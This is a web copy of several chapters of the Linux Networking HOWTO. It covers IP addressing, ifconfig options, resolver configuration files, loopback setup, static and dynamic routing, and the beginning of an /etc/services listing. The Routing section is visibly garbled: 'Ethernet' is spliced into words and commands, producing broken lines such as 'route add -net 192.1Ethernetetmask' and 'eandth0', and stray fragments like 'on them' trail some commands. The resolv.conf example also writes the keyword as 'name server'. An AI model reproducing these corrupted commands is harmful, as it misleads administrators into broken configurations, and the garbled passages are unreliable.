If you find anything erroneous, or if you feel that something should be added, please contact us.

Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Document History | Up | How to use this HOWTO.


Conventions used in this document

Linux Networking HOWTO
Prev Chapter 3. How to use this HOWTO. Next

3.1. Conventions used in this document

No special conventions are used here, but you must be warned about the way commands are shown. This howto follows the classic Unix documentation: any command you type to your shell is prefixed by a prompt. It shows "user%" as the prompt for commands that do not require superuser privileges, and "root#" as the prompt for commands that need to run as root. I chose to use "root#" instead of a plain "#" to prevent confusion with snapshots from shell scripts (where the hash mark is used to define comment lines).

When ``Kernel Compile Options'' are shown, they are represented in the format used by menuconfig. They should be understandable even if you (like me) are not used to menuconfig. If you are in doubt about the options' nesting, then running the program once can always help. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
How to use this HOWTO. | Up | General Information about Linux Networking.


Linux Networking Resources.

Linux Networking HOWTO
Prev Chapter 4. General Information about Linux Networking. Next

4.1. Linux Networking Resources.

There are a number of places where you can find good information about Linux networking.

There are a wealth of Consultants available to assist you. A search able listing can be found at: http://www.linuxports.com/.

Alan Cox, the current maintainer of the Linux kernel networking code, maintains a world wide web page containing highlights of current and new developments in Linux Networking: www.uk.linux.org.

There is a newsgroup in the Linux news hierarchy dedicated to networking and related matters at this location: comp.os.linux.networking

You can also subscribe to a mailing list where you may ask questions relating to Linux networking. Send an email message for a subscription to:
    To: majordomo@vger.rutgers.edu
    Subject: anything at all
    Message:
    subscribe linux-net

Please remember to include as much relevant detail about the problem as possible. You should specify the versions of software that you are using (especially the kernel version), the version of tools such as pppd/ or dip , and the exact nature of the problem(s) that you are experiencing. This means you should take notes of both the exact syntax of error message(s) you receive, and of any commands that you are issuing. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
General Information about Linux Networking. | Up | Sources of non-linux-specific network information.


Sources of non-linux-specific network information.

Linux Networking HOWTO
Prev Chapter 4. General Information about Linux Networking. Next

4.2. Sources of non-linux-specific network information.

If you are after some basic tutorial information on tcp/ip networking, then I recommend you take a look at the following documents:

tcp/ip introduction:

This document comes as both a text version and a postscript version.

tcp/ip administration:

This document comes as both a text version and a postscript version.

If you are after some more detailed information on tcp/ip networking, then I highly recommend:

"Inter networking with TCP/IP, Volume 1: Principles, Protocols and Architecture, by Douglas E. Comer, ISBN 0-13-227836-7, Prentice Hall publications, Third Edition, 1995."

If you are wanting to learn about how to write network applications in a Unix compatible environment, then I recommend:

"Unix Network Programming, by W. Richard Stevens, ISBN 0-13-949876-1, Prentice Hall Publications, 1990."

A second edition of this book is appearing on the bookshelves. The new book is made up of three volumes. Check Prenice-Hall's web site for further details.

You might also try the comp.protocols.tcp-ip newsgroup.

RFCs are an important source of specific technical information relating to the Internet and the tcp/ip suite of protocols. RFC is an acronym for `Request For Comment' and it is the standard means of submitting and documenting Internet protocol standards. There are many RFC repositories. Many of these sites are ftp sites. Others provide World Wide Web access (with an associated search engine) that allows you to search the RFC database for particular keywords.

One possible source for RFCs is at Nexor RFC database. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Linux Networking Resources. | Up | Generic Network Configuration Information.


What do I need to start ?

Linux Networking HOWTO
Prev Chapter 5. Generic Network Configuration Information. Next

5.1. What do I need to start ?

Before you start building or configuring your network, you will need certain items. The most important of these are:

5.1.1. Current Kernel source(Optional).

Please note:

The majority of current distributions come with networking enabled. It may not be required to recompile the kernel. If you are running well known hardware you should be fine. For example: 3COM NIC, NE2000 NIC, or an Intel NIC. However, if you find yourself in the position that you do need to update the kernel, the following information is provided.

Because the kernel you are running now might not yet have support for the network types or cards that you wish to use, you will probably need the kernel source to recompile the kernel with the appropriate options.

For users of the major distributions such as Redhat, Caldera, Debian, or Suse, this no longer holds true. As long as you stay within the mainstream of hardware, there should be no need to recompile your kernel (unless there is a very specific feature that you need).

You can always obtain the latest kernel source from ftp.cdrom.com. This is not the official site, but they have LOTS of bandwidth and capacity. The official site is kernel.org, however, please use the above URL if you can. Please remember that ftp.kernel.org is seriously overloaded. Use a mirror.

Normally the kernel source will be untarred into the /usr/src/linux directory. For information on how to apply patches and build the kernel, you should read the Kernel-HOWTO. For information on how to configure kernel modules, you should read the ``Modules mini-HOWTO''. The README file found in the kernel sources and the Documentation directory are very informative: for the brave reader!

Unless specifically stated, I recommend you stick with the standard kernel release (the one with the even number as the second digit in the version number). Development release kernels (the ones with the odd second digit) may have structural or other changes that may cause problems working with other software on your system. If you are uncertain that you could resolve those sorts of problems, then don't use Development release kernels.

5.1.2. IP Addresses: an Explanation.

Internet Protocol Addresses are composed of four bytes. The convention is to write addresses in what is called `dotted decimal notation'. In this form, each byte is converted to a decimal number, (0-255). It drops any leading zeros (unless the number is zero) and written with each byte separated by a `.' character. By convention, each interface of a host or router has an IP address. It is legal for the same IP address to be used on each interface of a single machine, but usually each interface will have its own address.

Internet Protocol Networks are contiguous sequences of IP addresses. All addresses within a network have a number of digits within the address in common. The portion of the address that is common amongst all addresses within the network is called the `network portion' of the address. The remaining digits are called the `host portion'. The number of bits that are shared by all addresses within a network is called the netmask. It is the role of the netmask to determine which addresses belong to the network it is applied to and which don't belong. For example, consider the following:

    -----------------  ---------------
    Host Address       192.168.110.23
    Network Mask       255.255.255.0
    Network Portion    192.168.110.
    Host portion                  .23
    -----------------  ---------------
    Network Address    192.168.110.0
    Broadcast Address  192.168.110.255
    -----------------  ---------------

Any address that is 'bitwise anded' with its netmask will reveal the address of the network that it belongs to. The network address is therefore always the lowest numbered address within the range of addresses on the network, and it always has the host portion of the address coded in all zeroes.

The broadcast address is a special address that every host on the network listens to (in addition to its own unique address). This address is the one that datagrams are sent to if every host on the network is meant to receive it. Certain types of data, like routing information and warning messages, are transmitted to the broadcast address so that every host on the network can receive it simultaneously. There are two commonly used standards for the broadcast address. The most widely accepted one is to use the highest possible address on the network as the broadcast address. In the above example, this would be 192.168.110.255. For some reason other sites have adopted the convention of using the network address as the broadcast address. In practice it doesn't matter very much which you use, but you must make sure that every host on the network is configured with the same broadcast address.

For administrative reasons (some time early in the development of the IP protocol), some arbitrary groups of addresses were formed into networks. These networks were grouped into what are called classes. Classes provide a number of standard size networks that could be allocated. The ranges allocated are:

    --------------------------------------------------------------------------------
    | Network	    | Netmask       | Network Addresses            	|
    | Class   			|               		 |					                              |
    --------------------------------------------------------------------------------
    |    A    | 255.0.0.0     				| 0.0.0.0    - 127.255.255.255   |
    |    B    | 255.255.0.0   			| 128.0.0.0  - 191.255.255.255 |
    |    C    | 255.255.255.0 			| 192.0.0.0  - 223.255.255.255 |
    |Multicast| 240.0.0.0     			| 224.0.0.0  - 239.255.255.255 |
    --------------------------------------------------------------------------------

What addresses you should use depends on exactly what it is that you are doing. You may have to use a combination of the following activities to get all the addresses you need:

Installing a Linux machine on an existing IP network

If you wish to install a Linux machine onto an existing IP network, then you should contact the network administrator and ask them for the following information:

  • Host IP Address

  • IP network address

  • IP broadcast address

  • IP netmask

  • Router address

  • Domain Name Server Address

You should then configure your linux network device with those details. You can not make them up and expect your configuration to work.

Building a brand new network that will never connect to the Internet

If you are building a private network, and you never intend that network to be connected to the Internet, then you can choose whatever addresses you like. However, for safety and consistency reasons, there have been some IP network addresses that have been reserved specifically for this purpose. These are specified in RFC1597 and are as follows:

    -----------------------------------------------------------
    |         RESERVED PRIVATE NETWORK ALLOCATIONS            |
    -----------------------------------------------------------
    | Network | Netmask       | Network Addresses             |
    | Class   |               |                               |
    -----------------------------------------------------------
    |    A    | 255.0.0.0     | 10.0.0.0    - 10.255.255.255  |
    |    B    | 255.255.0.0   | 172.16.0.0  - 172.31.255.255  |
    |    C    | 255.255.255.0 | 192.168.0.0 - 192.168.255.255 |
    -----------------------------------------------------------

You should first decide how large you want your network to be, then choose as many of the addresses as you require.

Prev | Home | Next
Generic Network Configuration Information. | Up | Where should I put the configuration commands ?


Where should I put the configuration commands ?

Linux Networking HOWTO
Prev Chapter 5. Generic Network Configuration Information. Next

5.2. Where should I put the configuration commands ?

There are a few different approaches to Linux system boot procedures. After the kernel boots, it always executes a program called `init'. The init program then reads its configuration file called /etc/inittab and commences the boot process. There are a few different flavors of init Everyone now seems to be gravitating to the System V (Five) flavor, developed by Miguel van Smoorenburg.

Despite the fact that the init program is always the same, the setup of system boot is organized in a different way by each distribution.

Usually the /etc/inittab file contains an entry looking something like:

    si::sysinit:/etc/init.d/boot

This line specifies the name of the shell script file that actually manages the boot sequence. This file is somewhat equivalent to the AUTOEXEC.BAT file in MS-DOS.

There are usually other scripts that are called by the boot script, and often the network is configured within one of these scripts.

The following table may be used as a guide for your system:

---------------------------------------------------------------------------
Distrib. | Interface Config/Routing          | Server Initialization
---------------------------------------------------------------------------
Debian   | /etc/init.d/network               | /etc/rc2.d/*
---------------------------------------------------------------------------
Slackware| /etc/rc.d/rc.inet1                | /etc/rc.d/rc.inet2
---------------------------------------------------------------------------
RedHat   | /etc/rc.d/init.d/network          | /etc/rc.d/rc3.d/*
---------------------------------------------------------------------------

Note that Debian and Red Hat use a whole directory to host scripts that fire up system services (and usually information does not lie within these files: for example, Red Hat systems store all of system configuration in files under /etc/sysconfig, where it is retrieved by boot scripts). If you want to grasp the details of the boot process, my suggestion is to check /etc/inittab and the documentation that accompanies init. Linux Journal is also going to publish an article about system initialization, and this document will point to it as soon as it is available on the web.

Most modern distributions include a program that will allow you to configure many of the common sorts of network interfaces. If you have one of these, you should see if it will do what you want before attempting a manual configuration.

    -----------------------------------------
    Distrib   | Network configuration program
    -----------------------------------------
    RedHat    | /usr/bin/netcfg
    Slackware | /sbin/netconfig
    -----------------------------------------
Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
What do I need to start ? | Up | Creating your network interfaces.


Creating your network interfaces.

Linux Networking HOWTO
Prev Chapter 5. Generic Network Configuration Information. Next

5.3. Creating your network interfaces.

In many Unix operating systems, the network devices have appearances in the /dev directory. This is not so in Linux. In Linux, the network devices are created dynamically in software, and they do not require device files to be present.

In the majority of cases, the network device is automatically created by the device driver (while it is initializing and locating your hardware). For example, the Ethernet device driver creates eth[0..n] interfaces sequentially as it locates your Ethernet hardware. The first Ethernet card found becomes eth0, the second eth1 etc.

In some cases though, notably with slip and ppp, the network devices are created through the action of some user program. The same sequential device numbering applies, but the devices are not created automatically at boot time. The reason for this is that unlike Ethernet devices, the number of active slip or ppp devices may vary during the uptime of the machine. These cases will be covered in more detail in later sections. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Where should I put the configuration commands ? | Up | Configuring a network interface. Kernels 2.0 and 2.2


Configuring a network interface. Kernels 2.0 and 2.2

Linux Networking HOWTO
Prev Chapter 5. Generic Network Configuration Information. Next

5.4. Configuring a network interface. Kernels 2.0 and 2.2

When you have all of the programs you need (and your address and network information), you can configure your network interfaces. When we talk about configuring a network interface, we are talking about two items. One is the process of assigning appropriate addresses to a network device. The second is setting the appropriate values for other configurable parameters of a network device. The program most commonly used to do this is the ifconfig (interface configure) command.

Typically you would use a command similar to the following:

    root# ifconfig eth0 192.168.0.1 netmask 255.255.255.0 up

In this example, I'm configuring an Ethernet interface `eth0' with the IP address `192.168.0.1' and a network mask of `255.255.255.0'. The `up' that trails the command tells the interface that it should become active (but can usually be omitted) since it is the default. To shutdown an interface, you can just call ``ifconfig eth0 down''.

The kernel assumes certain defaults when you are configuring interfaces. For example, you may specify the network address and broadcast address for an interface. If you don't (as in my example above), then the kernel will make reasonable guesses as to what these addresses should be. If you don't supply a netmask then on the network class of the IP address is auto-configured. In my example, the kernel would assume that it is a class-C network that is being configured on the interface. It would thus configure a network address of `192.168.0.0' ,and a broadcast address of `192.168.0.255' for the interface.

There are many other options to the ifconfig command. The most important of these are:

up

This option activates an interface (and it is the default).

down

This option deactivates an interface.

[-]arp

This option enables or disables use of the address resolution protocol on this interface .

[-]allmulti

This option enables or disables the reception of all hardware multicast packets. Hardware multicast enables groups of hosts to receive packets addressed to special destinations. This may be of importance if you are using applications like desktop video conferencing. This option is normally not used.

mtu N

This parameter allows you to set the MTU of this device.

netmask <addr>

This parameter allows you to set the network mask of the network. This device belongs to:

irq <addr>

This parameter only works on certain types of hardware. It allows you to set the hardware IRQ of this device.

[-]broadcast [addr]

This parameter allows you to enable and set the accepting of datagrams destined to the broadcast address.It also allows you to disable reception of these datagrams.

[-]pointopoint [addr]

This parameter allows you to set the address of the machine at the remote end of a Point-to-Point link (ie; for slip or ppp).

hw <type <addr>

This parameter allows you to set the hardware address of certain types of network devices. This is not often useful for Ethernet, but is useful for other network types like AX.25.

With the release of Kernel 2.2, there are a number of options available that are not listed above. Some of the most interesting ones are tunneling and IPV6. The ifconfig parameters for kernel 2.2 are listed below.

interface

The name of the interface. This is usually a driver name followed by a unit number. For example, eth0 for the first Ethernet interface.

up

This flag causes the interface to be activated. It is implicitly specified if an address is assigned to the interface.

down

This flag causes the driver for this interface to be shut down.

[-]arp

Enables or disables the use of the ARP protocol on this interface.

[-]promisc

Enables or disables the promiscuous mode of the interface. If selected, all packets on the network will be received by the interface.

[-]allmulti

Enables or disables all-multicast mode. If selected, all multicast packets on the network will be received by the interface.

metric N

This parameter sets the interface metric.

mtu N

This parameter sets the Maximum Transfer Unit (MTU) of an interface.

dstaddr addr

Sets the remote IP address for a point-to-point link (such as PPP). This keyword is now obsolete; you should now use the pointopoint keyword.

netmask addr

Sets the IP network mask for this interface. This value defaults to the usual class A, B or C network mask (as derived from the interface IP address). It can, however, be set to any value.

add addr prefixlen

Adds an IPv6 address to an interface.

del addr prefixlen

Removes an IPv6 address from an interface.

tunnel aa.bb.cc.dd

Creates a new SIT (IPv6-in-IPv4) device that tunnels to the given destination.

irq addr

Sets the interrupt line used by this device. Not all devices can dynamically change their IRQ set- ting.

io_addr addr

Sets the start address in I/O space for this device.

mem_start addr

Set the start address for shared memory used by this device. Only a few devices need this parameter.

media type

Sets the physical port (or medium type) to be used by the device. Not all devices can change this set- ting. Those that can change the setting vary in what values they support. Typical values for type are 10base2 (thin Ethernet), 10baseT (twisted-pair 10Mbps Ethernet), AUI (external transceiver) and so on. The special medium type of auto can be used to tell the driver to auto-sense the media. Again, not all drivers can do this.

[-]broadcast [addr]

If the address argument is given, set the protocol broadcast address for this interface. Otherwise, set (or clear) the IFF_BROADCAST flag for the interface.

[-]pointopoint [addr]

This keyword enables the point-to-point mode of an interface. This means that it is a direct link between two machines, and that nobody else is listening on it. If the address argument is also given, set the pro- tocol address of the other side of the link ( just as the obsolete dstaddr keyword does). Otherwise, set or clear the IFF_POINTOPOINT flag for the interface.

hw class address

Set the hardware address of this interface (if the device driver supports this operation). The keyword must be followed by the name of the hardware class and the printable ASCII equivalent of the hardware address. Hardware classes currently supported include ether (Ethernet), ax25 (AMPR AX.25), ARCnet and netrom (AMPR NET/ROM).

multicast

Set the multicast flag on the interface. This should not normally be needed because the drivers set the flag correctly themselves.

address

The IP address to be assigned to this interface.

txqueuelen length

Sets the length of the transmit queue of the device. It is useful to set this to small values for slower devices with a high latency (modem links, ISDN). This prevents fast bulk transfers from disturbing inter- active traffic (like telnet) too much.

You may use the ifconfig command on any network interface. Some user programs such as pppd and dip automatically configure the network devices as they create them, so manual use of ifconfig is unnecessary.

Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Creating your network interfaces. | Up | Configuring your Name Resolver.


Configuring your Name Resolver.

Linux Networking HOWTO
Prev Chapter 5. Generic Network Configuration Information. Next

5.5. Configuring your Name Resolver.

The `Name Resolver' is a part of the linux standard library. Its prime function is to provide a service to convert human-friendly hostnames (like `ftp.funet.fi' ) into machine friendly IP addresses (such as 128.214.248.6).

5.5.1. What's in a name ?

You will probably be familiar with the appearance of Internet host names, but you may not understand how they are constructed or de-constructed. Internet domain names are hierarchical in nature. In other words, they have a tree-like structure. A `domain' is a family, or group, of names. A `domain' may be broken down into a `subdomain'. A `top level domain' is a domain that is not a subdomain. The Top Level Domains are specified in RFC-920. Some examples of the most common top level domains are:

COM

Commercial Organizations

EDU

Educational Organizations

GOV

Government Organizations

MIL

Military Organizations

ORG

Other Organizations

NET

Internet-Related Organizations

Country Designator

These are two- letter codes that represent a particular country.

For historical reasons, most domains belonging to one of the non-country based top level domains were used by organizations within the United States (even though the United States also has its own country code `.us'). This is not true any more for .com and .org domains, which are commonly used by non-us companies.

Each of these top level domains has subdomains. The top level domains based on country name are often next broken down into subdomains based on the com, edu, gov, mil and org domains. So for example you end up with: com.au and gov.au for commercial and government organizations in Australia; note that this is not a general rule, as actual policies depend on the naming authority for each domain.

The next level of division usually represents the name of the organization. Further subdomains vary in nature. Often the next level of subdomain is based on the departmental structure of the organization. It can, however, be based on any criterion considered reasonable and meaningful by the network administrators of the organization.

The very left-most portion of the name is always the unique name assigned to the host machine. It is called the `hostname'. The portion of the name to the right of the hostname is called the `domainname' and the complete name is called the `Fully Qualified Domain Name'.

To use Terrys host as an example, the fully qualified domain name is `perf.no.itg.telstra.com.au'. This means that the host name is `perf' and the domain name is `no.itg.telstra.com.au'. The domain name is based on a top level domain (based on his country Australia). And since his email address belongs to a commercial organization, `.com' is positioned as the next level domain. The name of the company is (was) `Telstra' . Their internal naming structure is based on organizational structure. In this case, the machine belongs to the Information Technology Group (Network Operations section).

Usually, the names are much shorter. For example, my ISP is called ``systemy.it'' . My non-profit organization is called ``linux.it'', without any com and org subdomain. My own host is just called ``morgana.systemy.it'' : rubini@linux.it is a valid email address. Note that the owner of a domain has the rights to register hostnames as well as subdomains. For example, the LUG I belongs to uses the domain pluto.linux.it, because the owners of linux.it agreed to open a subdomain for the LUG.

5.5.2. What information you will need.

You will need to know what domain your hosts name will belong to. The name resolver software provides this name translation service by making requests to a `Domain Name Server'. You will need to know the IP address of a local name server that you can use.

There are three files you need to edit. I'll cover each of these in turn.

5.5.3. /etc/resolv.conf

The /etc/resolv.conf is the main configuration file for the name resolver code. Its format is quite simple. It is a text file that has one keyword per line. There are three keywords typically used by the file. These keywords are:

domain

This keyword specifies the local domain name.

search

This keyword specifies a list of alternate domain names to search for a hostname

name server

This keyword, which may be used many times, specifies an IP address of a domain name server to query when resolving names

An example /etc/resolv.conf might look something like:

    domain maths.wu.edu.au
    search maths.wu.edu.au wu.edu.au
    name server 192.168.10.1
    name server 192.168.12.1

This example specifies that the default domain name to append to unqualified names (ie hostnames supplied without a domain) is maths.wu.edu.au . If the host is not found in that domain, it will also try the wu.edu.au domain directly. Two name server entries are supplied. These entries may be called upon by the name resolver code to resolve the name.

5.5.4. /etc/host.conf

The /etc/host.conf file is where you configure some items that govern the behavior of the name resolver code. The format of this file is described in detail in the `resolv+' man page. In nearly all circumstances, the following example will work for you:

    order hosts,bind
    multi on

This configuration tells the name resolver to check the /etc/hosts file before attempting to query a name server. It also tells the resolver to return all valid addresses for a host found in the /etc/hosts file (instead of just the first address).

5.5.5. /etc/hosts

The /etc/hosts file is where you put the name and IP address of local hosts. If you place a host in this file, then you do not need to query the domain name server to get its IP Address. The disadvantage of doing this is that if the IP address for that host changes, you must keep this file up to date yourself . In a well managed system, the only hostnames that usually appear in this file are an entry for the loopback interface, and also the local hosts name.

    # /etc/hosts
    127.0.0.1      localhost loopback
    192.168.0.1    this.host.name

You may specify more than one host name per line (as demonstrated by the first entry), which is a standard entry for the loopback interface.

5.5.6. Running a name server

If you want to run a local name server, you can do it easily. Please refer to the DNS-HOWTO and to any documents included in your version of BIND (Berkeley Internet Name Domain).

Prev | Home | Next
Configuring a network interface. Kernels 2.0 and 2.2 | Up | Configuring your loopback interface.


Configuring your loopback interface.

Linux Networking HOWTO
Prev Chapter 5. Generic Network Configuration Information. Next

5.6. Configuring your loopback interface.

The `loopback' interface is a special type of interface that allows you to make connections to yourself. There are various reasons why you might want to do this. For example, you may wish to test some network software without interfering with anybody else on your network. By convention, the IP address `127.0.0.1' has been assigned specifically for loopback. No matter what machine you go to, if you open a telnet connection to 127.0.0.1 you will always reach the local host.

Configuring the loopback interface is simple, and it must be done (but note that this task is usually performed by the standard initialization scripts).

    root# ifconfig lo 127.0.0.1
    root# route add -host 127.0.0.1 lo

We'll talk more about the route command in the next section. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Configuring your Name Resolver. | Up | Routing.


Routing.

Linux Networking HOWTO
Prev Chapter 5. Generic Network Configuration Information. Next

5.7. Routing.

Routing is a big topic. It is easily possible to write large volumes of text about the subject. Most of you will have fairly simple routing requirements; some of you will not. I will cover some basic fundamentals of routing only. If you are interested in more detailed information, then I suggest you refer to the references provided at the start of this document.

Let's start with a definition. What is IP routing? Here is one that I'm using:

"IP Routing is the process by which a host with multiple network connections decides where to deliver the IP datagrams that it has received."

It might be useful to illustrate this with an example. Imagine a typical office router. It might have a PPP link off the Internet, a number of Ethernet segments feeding the workstations, and another PPP link off to another office. When the router receives a datagram on any of its network connections, it uses the routing mechanism to determine which interface it should send the datagram to next. Simple hosts also need to route. All Internet hosts have two network devices, one is the loopback interface described above, and the other is the one it uses to talk to the rest of the network (perhaps an Ethernet, perhaps a PPP, or an SLIP serial interface).

Ok, so how does routing work ? Each host keeps a special list of routing rules called a "routing table". This table contains rows which typically contain at least three fields: the first is a destination address, the second is the name of the interface where the datagram is to be routed, and the third is optionally the IP address of another machine that carries the datagram on its next step through the network. You can see this table in linux by using the following command:

    user% cat /proc/net/route

or by using either of the following commands:

    user% /sbin/route -n
    user% netstat -r

The routing process is fairly simple. The incoming datagram is received, the destination address (who it is for) is examined, and then it is compared with each entry in the table. The entry that best matches that address is selected, and the datagram is forwarded to the specified interface. If the gateway field is filled, then the datagram is forwarded to that host via the specified interface. The destination address is otherwise assumed to be on the network supported by the interface.

To manipulate this table, a special command is used. This command takes command line arguments and converts them into kernel system calls. These calls request the kernel to add, delete, or modify entries in the routing table. The command is called `route'.

Here is a simple example. Imagine you have an Ethernet network. You've been told it is a class-C network with an address of 192.168.1.0. You've been supplied with an IP address of 192.168.1.10 for your use, and you have been told that 192.168.1.1 is a router connected to the Internet.

The first step is to configure the interface as described earlier. You would use a command similar to the following:

    root# ifconfig eth0 192.168.1.10 netmask 255.255.255.0 up

You now need to add an entry into the routing table to tell the kernel that datagrams for all hosts with addresses that match 192.168.1.* should be sent to the ethernet device. You would use a command similar to:

    root# route add -net 192.1Ethernetetmask 255.255.255.0 eth0

Note the use of the `-net' argument to tell the route program that this entry is a network route. Your other choice here is a `-host' route, which is a route that is specific to one IP address.

This route will enable you to establish IP connections with all of the hosts on your ethernet segment. But what about all of the IP hosts that aren't on your ethernet segment?

It would be a very difficult job to have to add routes to every possible destination network. There is a special trick that is used to simplify this task. The trick is called the `default' route. The default route matches every possible destination (but poorly). If any other entry exists that matches the required address, it will be used instead of the default route. The idea of the default route is simply to enable you to say in effect: "and everything else should go here". In this example you would use an entry like:

    root# route add default gw 192.168.1.1 eth0                              on them

The `gw' argument tells the route command that the next argument is the IP address, or name, of a gateway or router machine. This machine is where all datagrams matching the entry should be directed to for further routing. on them

So, your complete configuration would look like:

    root# ifconfig eth0 192.168.1.10 netmask 255.255.255.0 up
    root# route add -net 192.168.1.0 netmask 255.255.255.0 eth0
    root# route add default gw 192.168.1.1 eth0                              on them
is

If you take a close look at your network `rc' files, you will find that at least one of them looks very similar to this configuration (a very common one).

Let's now look at a slightly more complicated routing configuration. Let's imagine we are configuring the router we looked at earlier (the one supporting the PPP link to the Internet, and the lan segments feeding the workstations in the office). Lets imagine the router has three ethernet segments, and it also has one PPP link. Our routing configuration would look something like the fEthernet:

    root# route add -net 192.168.1.0 netmask 255.255.255.0 eth0
    root# route add -net 192.168.2.0 netmask 255.255.255.0 eth1
    root# route add -net 192.168.3.0 netmask 255.255.255.0 eth2
    root# route add default ppp0

Each of the workstations would use the simpler form presented above. Only the router needs to specify each of the network routes separately. The default route for the workstations mechanism will capture all of them, letting the router worry about splitting them up appropriately. You may be wondering why the default route presented doesn't specify a `gw'. The reason for this is simple: serial link protocols such as PPP and SLIP only have two hosts on their network (one at each end). To specify the host at the other end of the link as the gateway is both pointless and redundant. You do not need to specify a gateway for these types of network connections as there is no other choice. Other network types, such as ethernet, arcnet, or token ring, do actually require the gateway to be specified (as these networks support Ethernetmbers of hosts ).

5.7.1. So what does the routed program do ?

The routing configuration described above is best suited for simple network arrangements where there are only single possible paths to destinations. When you have a more complex network arrangement, things get a little more complicated. Fortunately for most of you this won't be an issue.

The big problem with `manual routing' or `static routing' is that if a machine or link fails in your network, the only way to re-direct your datagrams (if another way in fact exists) is by manually intervening and executing the appropriate commands. Naturally this is clumsy, slow, impractical, and hazard prone. Various techniques have been developed to automatically adjust routing tables in the event of network failures (where there are alternate routes). All of these techniques are loosely grouped by the term `dynamic routing protocols'.

You may have heard of some of the more common dynamic routing protocols. The most common are probably RIP (Routing Information Protocol) and OSPF (Open Shortest Path First Protocol). The Routing Information Protocol is very common on small networks (such as small-medium sized corporate networks or building networks). OSPF is more modern. It is more capable at handling large network configurations, and it is better suited to environments where there is a large number of possible paths through the network. Common implementations of these protocols are: `routed' - RIP and `gated' - RIP, OSPF and others. The `routed' program is normally supplied with your Linux distribution, or it is included in the `NetKit' package detailed above.

An example of where and how you might use a dynamic routing protocol might look something like the following:

    192.168.1.0 /                         192.168.2.0 /
       255.255.255.0                         255.255.255.0
     -                                     -
     |                                     |
     |   /-----\                 /-----\   |
     |   |     |ppp0   //    ppp0|     |   |
eth0 |---|  A  |------//---------|  B  |---| eth0
     |   |     |     //          |     |   |
     |   \-----/                 \-----/   |
     |      \ ppp1             ppp1 /      |
     -       \                     /       -
              \                   /
               \                 /
                \               /
                 \             /
                  \           /
                   \         /
                    \       /
                     \     /
                  ppp0\   /ppp1
                     /-----\
                     |     |
                     |  C  |
                     |     |
                     \-----/
                        |eth0
                        |
                   |---------|
                   192.168.3.0 /
                      255.255.255.0

We have three routers A, B and C. Each router supports one ethernet segment with a Class C IP network (netmask 255.255.255.0). Each one also has a PPP link to each of tEthernet routers. The network ultimately forms a triangle.

It should be clear that the routing table at router A could look like the following:

    root# route add -net 192.168.1.0 netmask 255.255.255.0 eandth0
    root# route add -net 192.168.2.0 netmask 255.255.255.0 ppp0
    root# route add -net 192.168.3.0 netmask 255.255.255.0 ppp1

This would work just fine until the link between router A and B fails. Hosts on the ethernet segment of A (see above diagram) could not reach hosts on the ethernet segment on B: their datagramEthernete directed to router As ppp0 link (which in this example is broEthernetey could still continue to talk to hosts on the ethernet segment of C. And hosts on CCsethernet segment could still talk to hosts on BBsethernet segment. TheEthernetnications can still occur because the link between B and C is still intact.

If A can talk to C, and C can still talk to B, why shouldn't A route its datagrams for B via C (and let C send them to B) ? This is exactly the sort of problem that dynamic routing protocols like RIP were designed to solve. If each of the routers A, B and C were running a routing daemon, then their routing tables would be automatically adjusted to reflect the new state of the network (should any one of the links in the network fail). To configure such a network is simple: at each router you need only do two things. In this case for Router A:

    root# route add -net 192.168.1.0 netmask 255.255.255.0 eth0
    root# /usr/sbin/routed

The `routed' routing daemon automatically finds all active network ports (when it sends and listens for messages on each of the network devices) to allow it to both determine and update the routing table on the host.

This has been a very brief explanation of dynamic routing. If you would like more information, please refer to the suggested references listed at the top of this document.

The important points relating to dynamic routing are:

  1. You only need to run a dynamic routing protocol daemon when your Linux machine has the possibility of selecting multiple route alternatives to a destination. An example of this would be if you plan to use IP Masquerading.

  2. The dynamic routing daemon will automatically modify your routing table to adjust to changes in your network.

  3. RIP is suitable for small to medium sized networks.

Prev | Home | Next
Configuring your loopback interface. | Up | Configuring your network servers and services.


Configuring your network servers and services.

Linux Networking HOWTO
Prev Chapter 5. Generic Network Configuration Information. Next

5.8. Configuring your network servers and services.

Network servers and services are programs that allow a remote user to make use of your Linux machine. Server programs listen on network ports. Network ports are a means of addressing a particular service on any particular host. They are how a server knows the difference between an incoming telnet connection and an incoming ftp connection. The remote user establishes a network connection to your machine. The server program (the network daemon program) listening on that port accepts the connection and then executes. There are two ways that network daemons may operate. Both are commonly employed in practice. The two ways are:

sstand-alone

The network daemon program listens on the designated network port. When an incoming connection is made, the daemon manages the network connection itself to provide the service.

slave to the inetd server

The inetd server is a special network daemon program that specializes in managing incoming network connections. It has a configuration file which tells it what program needs to be run upon receiving an incoming connection. Any service port may be configured for either of the tcp or udp protocols. The ports are described in another file that we will soon review..

There are two important files that need to be configured. They are the /etc/services file (which assigns names to port numbers), and the /etc/inetd.conf file (the configuration file for the inetd network daemon).

5.8.1. /etc/services

The /etc/services file is a simple database that associates a human friendly name to a machine friendly service port. Its format is quite simple. The file is a text file where each line represents and entry in the database. Each entry is comprised of three fields separated by any number of whitespace (tab or space) characters. The fields are:

name port/protocol aliases # comment

name

A single word name that represents the service being described.

port/protocol

This field is split into two subfields.

port

A number that specifies the port number where the named service will be available. Most of the common services have assigned service numbers. These are described in RFC-1340.

protocol

This subfield may be set to either tcp or udp.

It is important to note that an entry of 18/tcp is very different from an entry of 18/udp There is no technical reason why the same service needs to exist on both. Normally common sense prevails. It is only if a particular service is available via both tcp and udp that you will see an entry for both.

aliases

Other names that may be used to refer to this service entry.

Any text appearing in a line after a `#' character is ignored, and it is treated as a comment.

5.8.1.1. An example /etc/services file.

All modern linux distributions provide a good /etc/services file. Just in case you happen to be building a machine from the ground up, here is a copy of the /etc/services file supplied with an old Debian distribution:

# /etc/services:
# $Id: Net-HOWTO.sgml,v 1.1.1.1 2001/01/17 19:55:16 lx Exp $
#
# Network services, Internet style
#
# Note that it is presently the policy of IANA to assign a single well-known
# port number for both TCP and UDP; hence, most entries here have two entries
# even if the protocol doesn't support UDP operations.
# Updated from RFC 1340, ``Assigned Numbers'' (July 1992).  Not all ports
# are included (only the more common ones):
tcpmux		1/tcp				# TCP port service multiplexer
echo		7/tcp
echo		7/udp
discard		9/tcp		sink null
discard		9/udp		sink null
systat		11/tcp		users
daytime		13/tcp
daytime		13/udp
netstat		15/tcp
qotd		17/tcp		quote
